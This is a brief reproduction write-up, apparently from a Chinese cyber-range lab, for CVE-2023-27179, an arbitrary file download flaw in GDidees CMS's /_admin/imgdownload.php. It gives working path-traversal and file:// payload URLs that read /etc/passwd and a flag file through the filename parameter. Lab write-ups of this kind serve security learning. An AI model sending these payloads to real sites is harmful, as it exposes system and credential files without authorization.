CVE-2023-27179

https://nvd.nist.gov/vuln/detail/CVE-2023-27179

Description

GDidees CMS v3.9.1 and lower was discovered to contain an arbitrary file download vulenrability via the filename parameter at /_admin/imgdownload.php.

演示

环境: 春秋云镜免费空间>CVE-2023-27179

1.验证

https://eci-2ze1yk1jnhh0vbk5ueiq.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=../../../../../etc/passwd

2.利用

https://eci-2ze1yk1jnhh0vbk5ueiq.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=../../../../../flag

https://eci-2ze1yk1jnhh0vbk5ueiq.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=file:///flag